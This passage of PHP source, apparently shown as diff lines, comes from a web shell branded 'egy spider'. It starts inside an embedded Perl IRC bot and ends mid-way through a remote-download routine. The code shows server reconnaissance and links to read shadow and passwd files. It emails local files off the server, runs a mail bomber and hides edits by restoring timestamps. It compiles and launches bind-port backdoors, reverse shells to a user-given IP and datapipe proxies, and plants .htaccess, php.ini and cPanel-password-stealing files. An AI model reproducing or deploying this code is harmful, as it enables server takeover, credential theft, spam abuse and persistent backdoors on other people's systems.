Timeout=>15) or return (0); + \$dccsock->autoflush(1); + \$dcc_sel->add(\$dccsock); + \$DCC{\$dccsock}{tipo} = 'get'; + \$DCC{\$dccsock}{itime} = time; + \$DCC{\$dccsock}{nick} = \$nick; + \$DCC{\$dccsock}{bytes} = \$bytes; + \$DCC{\$dccsock}{curbyte} = 0; + \$DCC{\$dccsock}{arquivo} = \$arquivo; + \$DCC{\$dccsock}{ip} = \$dccip; + \$DCC{\$dccsock}{porta} = \$dccporta; + \$DCC{\$dccsock}{status} = \"Recebendo\"; +} +############################ +# po fico xato de organiza o status.. dai fiz ele retorna o status de acordo com o socket.. dai o ADM.pl lista os sockets e faz as perguntas +sub Status { + my \$socket = shift; + my \$sock_tipo = \$DCC{\$socket}{tipo}; + unless (lc(\$sock_tipo) eq \"chat\") { + my \$nick = \$DCC{\$socket}{nick}; + my \$arquivo = \$DCC{\$socket}{arquivo}; + my \$itime = \$DCC{\$socket}{itime}; + my \$ftime = time; + my \$status = \$DCC{\$socket}{status}; + \$ftime = \$DCC{\$socket}{ftime} if defined(\$DCC{\$socket}{ftime}); + + my \$d_time = \$ftime-\$itime; + + my \$cur_byte = \$DCC{\$socket}{curbyte}; + my \$bytes_total = \$DCC{\$socket}{bytes}; + + my \$rate = 0; + \$rate = (\$cur_byte/1024)/\$d_time if \$cur_byte > 0; + my \$porcen = (\$cur_byte*100)/\$bytes_total; + + my (\$r_duv, \$p_duv); + if (\$rate =~ /^(\d+)\.(\d)(\d)(\d)/) { + \$r_duv = $3; \$r_duv++ if $4 >= 5; + \$rate = \"$1\.$2\".\"\$r_duv\"; + } + if (\$porcen =~ /^(\d+)\.(\d)(\d)(\d)/) { + \$p_duv = $3; \$p_duv++ if $4 >= 5; + \$porcen = \"$1\.$2\".\"\$p_duv\"; + } + return(\"\$sock_tipo\",\"\$status\",\"\$nick\",\"\$arquivo\",\"\$bytes_total\", \"\$cur_byte\",\"\$d_time\", \"\$rate\", \"\$porcen\"); + } + + return(0); +} + +# esse 'sub fixaddr' daki foi pego do NET::IRC::DCC identico soh copiei e coloei (colokar nome do autor) +sub fixaddr { + my (\$address) = @_; + + chomp \$address; # just in case, sigh. + if (\$address =~ /^\d+$/) { + return inet_ntoa(pack \"N\", \$address); + } elsif (\$address =~ /^[12]?\d{1,2}\.[12]?\d{1,2}\.[12]?\d{1,2}\.[12]?\d{1,2}$/) { + return \$address; + } elsif (\$address =~ tr/a-zA-Z//) { # Whee! Obfuscation! + return inet_ntoa(((gethostbyname(\$address))[4])[0]); + } else { + return; + } +} +############################ +"; +$bot = "/tmp/ircs.pl"; +$open = fopen($bot,"w"); +fputs($open,$file); +fclose($open); +$cmd="perl $bot"; +$cmd2="rm $bot"; +system($cmd); +system($cmd2); +$_POST['cmd']="echo \"Now script try connect to ircserver ...\""; + +} + + +if(!isset($_COOKIE[$lang[$language.'_text137']])) { + $ust_u=''; + if($unix && !$safe_mode){ + foreach ($userful as $item) { + if(which($item)){$ust_u.=$item;} + } + } + if (@function_exists('apache_get_modules') && @in_array('mod_perl',apache_get_modules())) {$ust_u.=", mod_perl";} + if (@function_exists('apache_get_modules') && @in_array('mod_include',apache_get_modules())) {$ust_u.=", mod_include(SSI)";} + if (@function_exists('pcntl_exec')) {$ust_u.=", pcntl_exec";} + if (@extension_loaded('win32std')) {$ust_u.=", win32std_loaded";} + if (@extension_loaded('win32service')) {$ust_u.=", win32service_loaded";} + if (@extension_loaded('ffi')) {$ust_u.=", ffi_loaded";} + if (@extension_loaded('perl')) {$ust_u.=", perl_loaded";} + if(substr($ust_u,0,1)==",") {$ust_u[0]="";} + + $ust_u = trim($ust_u); +}else { + $ust_u = trim($_COOKIE[$lang[$language.'_text137']]); +} + +if(!isset($_COOKIE[$lang[$language.'_text138']])) { + $ust_d=''; + if($unix && !$safe_mode){ + foreach ($danger as $item) { + if(which($item)){$ust_d.=$item;} + } + } + if(!$safe_mode){ + foreach ($danger as $item) { + if(ps($item)){$ust_d.=$item;} + } + } + if (@function_exists('apache_get_modules') && @in_array('mod_security',apache_get_modules())) {$ust_d.=", mod_security";} + if(substr($ust_d,0,1)==",") {$ust_d[0]="";} + + $ust_d = trim($ust_d); +}else { + $ust_d = trim($_COOKIE[$lang[$language.'_text138']]); +} + +if(!isset($_COOKIE[$lang[$language.'_text142']])) { + + $select_downloaders='<select size="1" name=with>'; + if((!@function_exists('ini_get')) || (@ini_get('allow_url_fopen') && @function_exists('file'))){$select_downloaders .= "<option value=\"fopen\">fopen</option>";$downloader="fopen";} + if($unix && !$safe_mode){ + foreach ($downloaders as $item) { + if(which($item)){$select_downloaders .= '<option value="'.$item.'">'.$item.'</option>';$downloader.=", $item";} + } + } + $select_downloaders .= '</select>'; + if(substr($downloader,0,1)==",") {$downloader[0]="";} + + $downloader=trim($downloader); + +} + + +echo $head; +echo '</head>'; + +echo '<<body><table width=100% cellpadding=0 cellspacing=0 bgcolor=#dadada><tr><td bgcolor=#000000 width=120><font face=Comic Sans MS size=1>'.ws(2).'<DIV dir=ltr align=center><p><font style="font-weight: 500" face="Webdings" color="#800000" size="7">!</font></p>'.ws(2).'<DIV dir=ltr align=center><SPAN +style="FILTER: blur(add=1,direction=10,strength=25); HEIGHT: 25px"> +<SPAN +style="FONT-SIZE: 15pt; COLOR: white; FONT-FAMILY: Impact">egy spider</P></SPAN></DIV></font></b></font></td><td bgcolor=#000000><font face=tahoma size=1>'. + +'</center></font>'.$fe.'</td>'.'<td bgcolor=#333333><font face=#FFFFFF size=-2>'; +echo ws(2)."<b>".date ("d-m-Y H:i:s")."</b> Your IP: [<font color=blue>".gethostbyname($_SERVER["REMOTE_ADDR"])."</font>]"; +echo " X_FORWARDED_FOR:"; if(isset($_SERVER['HTTP_X_FORWARDED_FOR'])){echo "[<font color=red>".$_SERVER['HTTP_X_FORWARDED_FOR']."</font>]";}else{echo "[<font color=green><b>NONE</b></font>]";} +echo " CLIENT_IP: ";if(isset($_SERVER['HTTP_CLIENT_IP'])){echo "[<font color=red>".$_SERVER['HTTP_CLIENT_IP']."</font>]";}else{echo "[<font color=green><b>NONE</b></font>]";} +echo " Server IP: [<font color=blue>".gethostbyname($_SERVER["HTTP_HOST"])."</font>]"; + +echo "<br>"; + +echo ws(2)."PHP Version: <b>".@phpversion()."</b>"; +$curl_on = @function_exists('curl_version'); +echo ws(2); +echo "cURL: <b>".(($curl_on)?("<font color=red>ON</font>"):("<font color=green>OFF</font>")); +echo "</b>".ws(2); +echo "MySQL: <b>"; +$mysql_on = @function_exists('mysql_connect'); +if($mysql_on){ +echo "<font color=red>ON</font>"; } else { echo "<font color=green>OFF</font>"; } +echo "</b>".ws(2); +echo "MSSQL: <b>"; +$mssql_on = @function_exists('mssql_connect'); +if($mssql_on){echo "<font color=red>ON</font>";}else{echo "<font color=green>OFF</font>";} +echo "</b>".ws(2); +echo "PostgreSQL: <b>"; +$pg_on = @function_exists('pg_connect'); +if($pg_on){echo "<font color=red>ON</font>";}else{echo "<font color=green>OFF</font>";} +echo "</b>".ws(2); +echo "Oracle: <b>"; +$ora_on = @function_exists('ocilogon'); +if($ora_on){echo "<font color=red>ON</font>";}else{echo "<font color=green>OFF</font>";} +echo "</b>".ws(2); +echo "MySQLi: <b>"; +$mysqli_on = @function_exists('mysqli_connect'); +if($mysqli_on){echo "<font color=red>ON</font>";}else{echo "<font color=green>OFF</font>";} +echo "</b>".ws(2); +echo "MSQL: <b>"; +$msql_on = @function_exists('msql_connect'); +if($msql_on){echo "<font color=red>ON</font>";}else{echo "<font color=green>OFF</font>";} +echo "</b>".ws(2); +echo "SQLite: <b>"; +$sqlite_on = @function_exists('sqlite_open'); +if($sqlite_on){echo "<font color=red>ON</font>";}else{echo "<font color=green>OFF</font>";} +echo "</b><br>".ws(2); + +echo "Safe_Mode: <b>"; +echo (($safe_mode)?("<font color=red>ON</font>"):("<font color=green>OFF</font>")); +echo "</b>".ws(2); +echo "Open_Basedir: <b>"; +if($open_basedir) { if (''==($df=@ini_get('open_basedir'))) {echo "<font color=red>ini_get disable!</font></b>";}else {echo "<font color=red>$df</font></b>";};} +else {echo "<font color=green>NONE</font></b>";} +echo ws(2)."Safe_Exec_Dir: <b>"; +if(@function_exists('ini_get')) { if (''==($df=@ini_get('safe_mode_exec_dir'))) {echo "<font color=red>NONE</font></b>";}else {echo "<font color=green>$df</font></b>";};} +else {echo "<font color=red>ini_get disable!</font></b>";} +echo ws(2)."Safe_Gid: <b>"; +if(@function_exists('ini_get')) { if (@ini_get('safe_mode_gid')) {echo "<font color=green>ON</font></b>";}else {echo "<font color=red>OFF</font></b>";};} +else {echo "<font color=red>ini_get disable!</font></b>";} +echo ws(2)."Safe_Include_Dir: <b>"; +if(@function_exists('ini_get')) { if (''==($df=@ini_get('safe_mode_include_dir'))) {echo "<font color=red>NONE</font></b>";}else {echo "<font color=green>$df</font></b>";};} +else {echo "<font color=red>ini_get disable!</font></b>";} +echo ws(2)."Sql.safe_mode: <b>"; +if(@function_exists('ini_get')) { if (@ini_get('sql.safe_mode')) {echo "<font color=red>ON</font></b>";}else {echo "<font color=green>OFF</font></b>";};} +else {echo "<font color=red>ini_get disable!</font></b>";} + +echo "<br>".ws(2); +echo "Disable Functions : <b>";$df='ini_get disable!'; +if((@function_exists('ini_get')) && (''==($df=@ini_get('disable_functions')))){echo "<font color=green>NONE</font></b>";}else{echo "<font color=red>$df</font></b>";} + +if(@function_exists('diskfreespace')){$free = @diskfreespace($dir);} +elseif(@function_exists('disk_free_space')){$free = @disk_free_space($dir);}else{$free = 'Unknown';} +if (!$free) {$free = 0;} +$all = @disk_total_space($dir); +if (!$all) {$all = 0;} +echo "<br>".ws(2)."Free Space : <b>".view_size($free)."</b> Total Space: <b>".view_size($all)."</b>"; + + +if($ust_u){echo "<br>".ws(2).$lang[$language.'_text137'].": <font color=blue>".$ust_u."</font>";}; + +if($ust_d){echo "<br>".ws(2).$lang[$language.'_text138'].": <font color=red>".$ust_d."</font>";}; + +if($downloader){echo "<br>".ws(2).$lang[$language.'_text142'].": <font color=blue>".$downloader."</font>";}; + + +echo "<br>".ws(2)."</b>"; +echo ws(2).$lb." <a href='".$_SERVER['PHP_SELF']."?' title=\"".$lang[$language.'_text160']."\"><b>Home</b></a> ".$rb; +echo ws(2).$lb." <a href='".$_SERVER['PHP_SELF']."?egy' title=\"".$lang[$language.'_text159']."\"><b>About EgY SpIdEr</b></a> ".$rb; +echo ws(2).$lb." <a href='".$_SERVER['PHP_SELF']."?news' title=\"".$lang[$language.'_text152']."\"><b>News</b></a> ".$rb; +echo ws(2).$lb." <a href='".$_SERVER['PHP_SELF']."?logout=1' title=\"".$lang[$language.'_text153']."\"><b>Logout</b></a> ".$rb; +echo ws(2).$lb." <a href='".$_SERVER['PHP_SELF']."?tools&act=feedback' title=\"".$lang[$language.'_text180']."\"><b>Feedback & Contact Me </b></a> ".$rb; +echo ws(2).$lb." <a href='".$_SERVER['PHP_SELF']."?tools&dlink=qindx' title=\"".$lang[$language.'_text154']."\"><b>Quick index </b></a> ".$rb; +echo ws(2).$lb." <a href='".$_SERVER['PHP_SELF']."?tools&act=massbrowsersploit' title=\"".$lang[$language.'_text155']."\"><b>Mass Code Injection</b></a> ".$rb; +echo ws(2).$lb." <a href='".$_SERVER['PHP_SELF']."?tools&dlink=showsrc' title=\"".$lang[$language.'_text156']."\"><b>File source </b></a> ".$rb; +echo ws(2).$lb." <a href='".$_SERVER['PHP_SELF']."?tools&dlink=zone' title=\"".$lang[$language.'_text157']."\"><b>Zone-h</b></a> ".$rb; +echo ws(2).$lb." <a href='".$_SERVER['PHP_SELF']."?tools&act=encoder' title=\"".$lang[$language.'_text158']."\"><b>Hash Tools</b></a> ".$rb; +echo ws(2).$lb." <a href='".$_SERVER['PHP_SELF']."?1' title=\"".$lang[$language.'_text46']."\"><b>PhpInfo</b></a> ".$rb; +echo ws(2).$lb." <a href='".$_SERVER['PHP_SELF']."?2' title=\"".$lang[$language.'_text47']."\"><b>Php.Ini</b></a> ".$rb; +echo ws(2).$lb." <a href='".$_SERVER['PHP_SELF']."?3' title=\"".$lang[$language.'_text50']."\"><b>Cpu</b></a> ".$rb; +if(!$unix) { + echo ws(2).$lb." <a href='".$_SERVER['PHP_SELF']."?5' title=\"".$lang[$language.'_text50']."\"><b>SystemInfo</b></a> ".$rb; +}else{ + echo ws(2).$lb." <a href='".$_SERVER['PHP_SELF']."?6' title=\"View syslog.conf\"><b>Syslog</b></a> ".$rb; + echo ws(2).$lb." <a href='".$_SERVER['PHP_SELF']."?7' title=\"View resolv\"><b>Resolv</b></a> ".$rb; + echo ws(2).$lb." <a href='".$_SERVER['PHP_SELF']."?8' title=\"View hosts\"><b>Hosts</b></a> ".$rb; + echo ws(2).$lb." <a href='".$_SERVER['PHP_SELF']."?9' title=\"View shadow\"><b>Shadow</b></a> ".$rb; + echo ws(2).$lb." <a href='".$_SERVER['PHP_SELF']."?10' title=\"".$lang[$language.'_text95']."\"><b>Passwd</b></a> ".$rb; +} +echo ws(2).$lb." <a href='".$_SERVER['PHP_SELF']."?11' title=\"".$lang[$language.'_text48']."\"><b>Tmp</b></a> ".$rb; +echo ws(2).$lb." <a href='".$_SERVER['PHP_SELF']."?12' title=\"".$lang[$language.'_text49']."\"><b>Delete</b></a> ".$rb; + +if($unix && !$safe_mode) +{ + echo "<br>".ws(2)."</b>"; + echo ws(2).$lb." <a href='".$_SERVER['PHP_SELF']."?13' title=\"View procinfo\"><b>Procinfo</b></a> ".$rb; + echo ws(2).$lb." <a href='".$_SERVER['PHP_SELF']."?14' title=\"View proc version\"><b>Version</b></a> ".$rb; + echo ws(2).$lb." <a href='".$_SERVER['PHP_SELF']."?15' title=\"View mem free\"><b>Free</b></a> ".$rb; + echo ws(2).$lb." <a href='".$_SERVER['PHP_SELF']."?16' title=\"View dmesg\"><b>Dmesg</b></a> ".$rb; + echo ws(2).$lb." <a href='".$_SERVER['PHP_SELF']."?17' title=\"View vmstat\"><b>Vmstat</b></a> ".$rb; + echo ws(2).$lb." <a href='".$_SERVER['PHP_SELF']."?18' title=\"View lspci\"><b>lspci</b></a> ".$rb; + echo ws(2).$lb." <a href='".$_SERVER['PHP_SELF']."?19' title=\"View lsdev\"><b>lsdev</b></a> ".$rb; + echo ws(2).$lb." <a href='".$_SERVER['PHP_SELF']."?20' title=\"View interrupts\"><b>Interrupts</b></a> ".$rb; + echo ws(2).$lb." <a href='".$_SERVER['PHP_SELF']."?21' title=\"View realise1\"><b>Realise1</b></a> ".$rb; + echo ws(2).$lb." <a href='".$_SERVER['PHP_SELF']."?22' title=\"View realise2\"><b>Realise2</b></a> ".$rb; + echo ws(2).$lb." <a href='".$_SERVER['PHP_SELF']."?23' title=\"View lsattr -va\"><b>lsattr</b></a> ".$rb; + + echo "<br>".ws(2)."</b>"; + echo ws(2).$lb." <a href='".$_SERVER['PHP_SELF']."?24' title=\"View w\"><b>W</b></a> ".$rb; + echo ws(2).$lb." <a href='".$_SERVER['PHP_SELF']."?25' title=\"View who\"><b>Who</b></a> ".$rb; + echo ws(2).$lb." <a href='".$_SERVER['PHP_SELF']."?26' title=\"View uptime\"><b>Uptime</b></a> ".$rb; + echo ws(2).$lb." <a href='".$_SERVER['PHP_SELF']."?27' title=\"View last -n 10\"><b>Last</b></a> ".$rb; + echo ws(2).$lb." <a href='".$_SERVER['PHP_SELF']."?28' title=\"View ps -aux\"><b>Ps Aux</b></a> ".$rb; + echo ws(2).$lb." <a href='".$_SERVER['PHP_SELF']."?29' title=\"View service\"><b>Service</b></a> ".$rb; + echo ws(2).$lb." <a href='".$_SERVER['PHP_SELF']."?30' title=\"View ifconfig\"><b>Ifconfig</b></a> ".$rb; + echo ws(2).$lb." <a href='".$_SERVER['PHP_SELF']."?31' title=\"View netstat -a\"><b>Netstat</b></a> ".$rb; + echo ws(2).$lb." <a href='".$_SERVER['PHP_SELF']."?32' title=\"View fstab\"><b>Fstab</b></a> ".$rb; + echo ws(2).$lb." <a href='".$_SERVER['PHP_SELF']."?33' title=\"View fdisk -l\"><b>Fdisk</b></a> ".$rb; + echo ws(2).$lb." <a href='".$_SERVER['PHP_SELF']."?34' title=\"View df -h\"><b>df -h</b></a> ".$rb; +} + +echo '</font></td></tr><table> +<table width=100% cellpadding=0 cellspacing=0 bgcolor=#000000> +<tr><td align=right width=100>'; +echo $font; + +if($unix){ +echo '<font color=blue><b>uname -a :'.ws(1).'<br>sysctl :'.ws(1).'<br>$OSTYPE :'.ws(1).'<br>Server :'.ws(1).'<br>id :'.ws(1).'<br>pwd :'.ws(1).'</b></font><br>'; +echo "</td><td>"; +echo "<font face=Verdana size=-2 color=red><b>"; +echo((!empty($uname))?(ws(3).@substr($uname,0,120)."<br>"):(ws(3).@substr(@php_uname(),0,120)."<br>")); +echo ws(3).ex('echo $OSTYPE')."<br>"; +echo ws(3).@substr($SERVER_SOFTWARE,0,120)."<br>"; +if(!empty($id)) { echo ws(3).$id."<br>"; } +else if(@function_exists('posix_geteuid') && @function_exists('posix_getegid') && @function_exists('posix_getgrgid') && @function_exists('posix_getpwuid')) + { + $euserinfo = @posix_getpwuid(@posix_geteuid()); + $egroupinfo = @posix_getgrgid(@posix_getegid()); + echo ws(3).'uid='.$euserinfo['uid'].' ( '.$euserinfo['name'].' ) gid='.$egroupinfo['gid'].' ( '.$egroupinfo['name'].' )<br>'; + } +else echo ws(3)."user=".@get_current_user()." uid=".@getmyuid()." gid=".@getmygid()."<br>"; +echo ws(3).$dir; +echo ws(3).'( '.perms(@fileperms($dir)).' )'; +echo "</b></font>"; +} +else +{ +echo '<font color=blue><b>OS :'.ws(1).'<br>Server :'.ws(1).'<br>User :'.ws(1).'<br>pwd :'.ws(1).'</b></font><br>'; +echo "</td><td>"; +echo "<font face=Verdana size=-2 color=red><b>"; +echo ws(3).@substr(@php_uname(),0,120)."<br>"; +echo ws(3).@substr($SERVER_SOFTWARE,0,120)."<br>"; +echo ws(3).@getenv("USERNAME")."<br>"; +echo ws(3).$dir; +echo "<br></font>"; +} +echo "</font>"; +echo "</td></tr></table>"; + + +if(!empty($_POST['cmd']) && $_POST['cmd']=="mail") + { + $res = mail($_POST['to'],$_POST['subj'],$_POST['text'],"From: ".$_POST['from']."\r\n"); + err(6+$res); + $_POST['cmd']=""; + } +if(!empty($_POST['cmd']) && $_POST['cmd']=="mail_file" && !empty($_POST['loc_file'])) + { + if($file=moreread($_POST['loc_file'])){ $filedump = $file; } + else if ($file=readzlib($_POST['loc_file'])) { $filedump = $file; } else { err(1,$_POST['loc_file']); $_POST['cmd']=""; } + if(!empty($_POST['cmd'])) + { + $filename = @basename($_POST['loc_file']); + $content_encoding=$mime_type=''; + compress($filename,$filedump,$_POST['compress']); + $attach = array( + "name"=>$filename, + "type"=>$mime_type, + "content"=>$filedump + ); + if(empty($_POST['subj'])) { $_POST['subj'] = 'file from egy spider shell'; } + if(empty($_POST['from'])) { $_POST['from'] = 'egy_spider@hotmail.com'; } + $res = mailattach($_POST['to'],$_POST['from'],$_POST['subj'],$attach); + err(6+$res); + $_POST['cmd']=""; + } + } +if(!empty($_POST['cmd']) && $_POST['cmd']=="mail_bomber" && !empty($_POST['mail_flood']) && !empty($_POST['mail_size'])) + { + for($h=1;$h<=$_POST['mail_flood'];$h++){ + $res = mail($_POST['to'],$_POST['subj'],$_POST['text'].str_repeat(" ", 1024*$_POST['mail_size']),"From: ".$_POST['from']."\r\n"); + } + err(6+$res); + $_POST['cmd']=""; + } +if(!empty($_POST['cmd']) && $_POST['cmd'] == "find_text") +{ +$_POST['cmd'] = 'find '.$_POST['s_dir'].' -name \''.$_POST['s_mask'].'\' | xargs grep -E \''.$_POST['s_text'].'\''; +} +if(!empty($_POST['cmd']) && $_POST['cmd']=="ch_") + { + switch($_POST['what']) + { + case 'own': + @chown($_POST['param1'],$_POST['param2']); + break; + case 'grp': + @chgrp($_POST['param1'],$_POST['param2']); + break; + case 'mod': + @chmod($_POST['param1'],intval($_POST['param2'], 8)); + break; + } + $_POST['cmd']=""; + } +if(!empty($_POST['cmd']) && $_POST['cmd']=="mk") + { + switch($_POST['what']) + { + case 'file': + if($_POST['action'] == "create") + { + if(@file_exists($_POST['mk_name']) || !morewrite($_POST['mk_name'],'your text here')) { err(2,$_POST['mk_name']); $_POST['cmd']=""; } + else { + $_POST['e_name'] = $_POST['mk_name']; + $_POST['cmd']="edit_file"; + echo "<table width=100% cellpadding=0 cellspacing=0 bgcolor=#000000><tr><td bgcolor=#333333><div align=center><font face=Verdana size=-2><b>".$lang[$language.'_text61']."</b></font></div></td></tr></table>"; + } + } + else if($_POST['action'] == "delete") + { + if(@unlink($_POST['mk_name'])) echo "<table width=100% cellpadding=0 cellspacing=0 bgcolor=#000000><tr><td bgcolor=#333333><div align=center><font face=Verdana size=-2><b>".$lang[$language.'_text63']."</b></font></div></td></tr></table>"; + $_POST['cmd']=""; + } + break; + case 'dir': + if($_POST['action'] == "create"){ + if(@mkdir($_POST['mk_name'])) + { + $_POST['cmd']=""; + echo "<table width=100% cellpadding=0 cellspacing=0 bgcolor=#000000><tr><td bgcolor=#333333><div align=center><font face=Verdana size=-2><b>".$lang[$language.'_text62']."</b></font></div></td></tr></table>"; + } + else { err(2,$_POST['mk_name']); $_POST['cmd']=""; } + } + else if($_POST['action'] == "delete"){ + if(@rmdir($_POST['mk_name'])) echo "<table width=100% cellpadding=0 cellspacing=0 bgcolor=#000000><tr><td bgcolor=#333333><div align=center><font face=Verdana size=-2><b>".$lang[$language.'_text64']."</b></font></div></td></tr></table>"; + $_POST['cmd']=""; + } + break; + } + } + + +if(!empty($_POST['cmd']) && $_POST['cmd']=="touch") +{ +if(!$_POST['file_name_r']) + { + $datar = $_POST['day']." ".$_POST['month']." ".$_POST['year']." ".$_POST['chasi']." hours ".$_POST['minutes']." minutes ".$_POST['second']." seconds"; + $datar = @strtotime($datar); + @touch($_POST['file_name'],$datar,$datar);} +else{ + @touch($_POST['file_name'],@filemtime($_POST['file_name_r']),@filemtime($_POST['file_name_r'])); +} +$_POST['cmd']=""; +} + + +if(!empty($_POST['cmd']) && $_POST['cmd']=="edit_file" && !empty($_POST['e_name'])) + { + if(@is_dir($_POST['e_name'])){ err(1,$_POST['e_name']); $_POST['cmd']=""; } + elseif($file=moreread($_POST['e_name'])) { $filedump = $file; if(!@is_writable($_POST['e_name'])) { $only_read = 1; }; } + elseif($file=readzlib($_POST['e_name'])) { $filedump = $file; $only_read = 1; } + elseif(@file_exists($_POST['e_name'])) {$filedump = 'NONE'; if(!@is_writable($_POST['e_name'])) { $only_read = 1; };} + else { err(1,$_POST['e_name']); $_POST['cmd']=""; } + if(!empty($_POST['cmd'])) + { + echo $table_up3; + echo $font; + echo "<form name=save_file method=post>"; + echo ws(3)."<b>".$_POST['e_name']."</b>"; + echo "<div align=center><textarea name=e_text cols=121 rows=24>"; + echo @htmlspecialchars($filedump); + echo "</textarea>"; + echo "<input type=hidden name=e_name value='".$_POST['e_name']."'>"; + echo "<input type=hidden name=dir value='".$dir."'>"; + echo "<input type=hidden name=cmd value=save_file>"; + echo (!empty($only_read)?("<br><br>".$lang[$language.'_text44']):("<br><br><input type=submit name=submit value=\" ".$lang[$language.'_butt10']." \">")); + echo "</div>"; + echo "</font>"; + echo "</form>"; + echo "</td></tr></table>"; + exit(); + } + } +if(!empty($_POST['cmd']) && $_POST['cmd']=="save_file") + { + $mtime = @filemtime($_POST['e_name']); + if(!@is_writable($_POST['e_name'])) { err(0,$_POST['e_name']); } + else { + if($unix) $_POST['e_text']=@str_replace("\r\n","\n",$_POST['e_text']); + morewrite($_POST['e_name'],$_POST['e_text']); + $_POST['cmd']=""; + echo "<table width=100% cellpadding=0 cellspacing=0 bgcolor=#000000><tr><td bgcolor=#333333><div align=center><font face=Verdana size=-2><b>".$lang[$language.'_text45']."</b></font></div></td></tr></table>"; + } + @touch($_POST['e_name'],$mtime,$mtime); + } + + +if (!empty($_POST['proxy_port'])&&($_POST['use']=="Perl")) +{ + cf($tempdir.'prxpl',$prx_pl); + $p2=which("perl"); + $blah = ex($p2.' '.$tempdir.'prxpl '.$_POST['proxy_port'].' &'); + @unlink($tempdir.'prxpl'); + $_POST['cmd']="ps -aux | grep prxpl"; +} +if (!empty($_POST['port'])&&!empty($_POST['bind_pass'])&&($_POST['use']=="C")) +{ + cf($tempdir.'bd.c',$port_bind_bd_c); + $blah = ex('gcc -o '.$tempdir.'bd '.$tempdir.'bd.c'); + @unlink($tempdir.'bd.c'); + $blah = ex($tempdir.'bd '.$_POST['port'].' '.$_POST['bind_pass'].' &'); + @unlink($tempdir.'bd'); + $_POST['cmd']="ps -aux | grep bd"; +} +if (!empty($_POST['port'])&&!empty($_POST['bind_pass'])&&($_POST['use']=="Perl")) +{ + cf($tempdir.'bdpl',$port_bind_bd_pl); + $p2=which("perl"); + $blah = ex($p2.' '.$tempdir.'bdpl '.$_POST['port'].' &'); + @unlink($tempdir.'bdpl'); + $_POST['cmd']="ps -aux | grep bdpl"; +} +if (!empty($_POST['ip']) && !empty($_POST['port']) && ($_POST['use']=="Perl")) +{ + cf($tempdir.'back',$back_connect); + $p2=which("perl"); + $blah = ex($p2.' '.$tempdir.'back '.$_POST['ip'].' '.$_POST['port'].' &'); + @unlink($tempdir.'back'); + $_POST['cmd']="echo \"Now script try connect to ".$_POST['ip']." port ".$_POST['port']." ...\""; +} +if (!empty($_POST['ip']) && !empty($_POST['port']) && ($_POST['use']=="C")) +{ + cf($tempdir.'back.c',$back_connect_c); + $blah = ex('gcc -o '.$tempdir.'backc '.$tempdir.'back.c'); + @unlink($tempdir.'back.c'); + $blah = ex($tempdir.'backc '.$_POST['ip'].' '.$_POST['port'].' &'); + @unlink($tempdir.'back'); + $_POST['cmd']="echo \"Now script try connect to ".$_POST['ip']." port ".$_POST['port']." ...\""; +} +if (!empty($_POST['local_port']) && !empty($_POST['remote_host']) && !empty($_POST['remote_port']) && ($_POST['use']=="Perl")) +{ + cf($tempdir.'dp',$datapipe_pl); + $p2=which("perl"); + $blah = ex($p2.' '.$tempdir.'dp '.$_POST['local_port'].' '.$_POST['remote_host'].' '.$_POST['remote_port'].' &'); + @unlink($tempdir.'dp'); + $_POST['cmd']="ps -aux | grep dp"; +} +if (!empty($_POST['local_port']) && !empty($_POST['remote_host']) && !empty($_POST['remote_port']) && ($_POST['use']=="C")) +{ + cf($tempdir.'dpc.c',$datapipe_c); + $blah = ex('gcc -o '.$tempdir.'dpc '.$tempdir.'dpc.c'); + @unlink($tempdir.'dpc.c'); + $blah = ex($tempdir.'dpc '.$_POST['local_port'].' '.$_POST['remote_port'].' '.$_POST['remote_host'].' &'); + @unlink($tempdir.'dpc'); + $_POST['cmd']="ps -aux | grep dpc"; +} + +if (!empty($_POST['alias']) && isset($aliases[$_POST['alias']])) { $_POST['cmd'] = $aliases[$_POST['alias']]; } + +for($upl=0;$upl<=16;$upl++) +{ + if(!empty($HTTP_POST_FILES['userfile'.$upl]['name'])){ + if(!empty($_POST['new_name']) && ($upl==0)) { $nfn = $_POST['new_name']; } + else { $nfn = $HTTP_POST_FILES['userfile'.$upl]['name']; } + @move_uploaded_file($HTTP_POST_FILES['userfile'.$upl]['tmp_name'],$_POST['dir']."/".$nfn) + or print("<font color=red face=Fixedsys><div align=center>Error uploading file ".$HTTP_POST_FILES['userfile'.$upl]['name']."</div></font>"); + } +} +if (!empty($_POST['port1'])) +{ + cf("bds",$port_bind_bd_cs); + $blah = ex("chmod 777 bds"); + $blah = ex("./bds ".$_POST['port1']." &"); + $_POST['cmd']="echo \"Now script install backdoor connect to port "; + }else{ +cf("/tmp/bds",$port_bind_bd_cs); + $blah = ex("chmod 777 bds"); + } +if (!empty($_POST['php_ini1'])) +{ + cf("php.ini",$egy_ini); + $_POST['cmd']=" now make incloude for file ini.php and add ss and your shell"; + } + + if (!empty($_POST['htacces'])) +{ + cf(".htaccess",$htacces); + $_POST['cmd']="now .htaccess has been add"; + } + if (!empty($_POST['egy_res'])) +{ + cf(".ini.php",$egy_res); + $_POST['cmd']="now .htaccess has been add"; + } + if (!empty($_POST['egy_ini'])) +{ + cf("ini.php",$egy_ini); + + + $_POST['cmd']=" http://target.com/ini.php?egy=http://shell.txt? add ss ini.php now make incloude for file ini.php and add egy and your shell"; + } + + if (!empty($_POST['egy_cp'])) +{ + cf("pass_cpanel.php",$egy_cp); + $_POST['cmd']="cpanel add"; + } + + if (!empty($_POST['egy_vb'])) +{ + cf("vb_hacker.php",$egy_vb); + $_POST['cmd']="Added Following Files .htaccess & ini.php & vb_hacker.php & pass_cpanel.php "; + } + +if (!empty($_POST['alias']) && isset($aliases[$_POST['alias']])) { $_POST['cmd'] = $aliases[$_POST['alias']]; } + +for($upl=0;$upl<=16;$upl++) +{ + +} + +if (!empty($_POST['with']) && !empty($_POST['rem_file']) && !empty($_POST['loc_file'])) +{ + switch($_POST['with']) + { + case 'fopen': + $datafile = @implode("", @file($_POST['rem_file'])); + if($datafile) + { + if(!morewrite($_POST['loc_file'],$datafile)){ err(0);}; + } + + $_POST['cmd'] = ''; + break; + case 'wget': + $_POST['cmd'] = which('wget')." \"".$_POST['rem_file']."\" -O \"".$_POST['loc_file']."\""; + break; + case 'fetch': + $_POST['cmd'] = which('fetch')." -p \"".$_POST['rem_file']."\" -o \"".$_POST['loc_file']."\""; + break; + case 'lynx': + $_POST['cmd'] = which('lynx')." -source \"".$_POST['rem_file']."\" > \"".$_POST['loc_file']."\""; + break; + case 'links': + $_POST['cmd'] = which('links')." -source \"".$_POST['rem_file']."\" > \"".$_POST['loc_file']."\""; + break; + case 'GET': + $_POST['cmd'] = which('GET')." \"".$_POST['rem_file']."\" > \"".$_POST['loc_file']."\""; + break; + 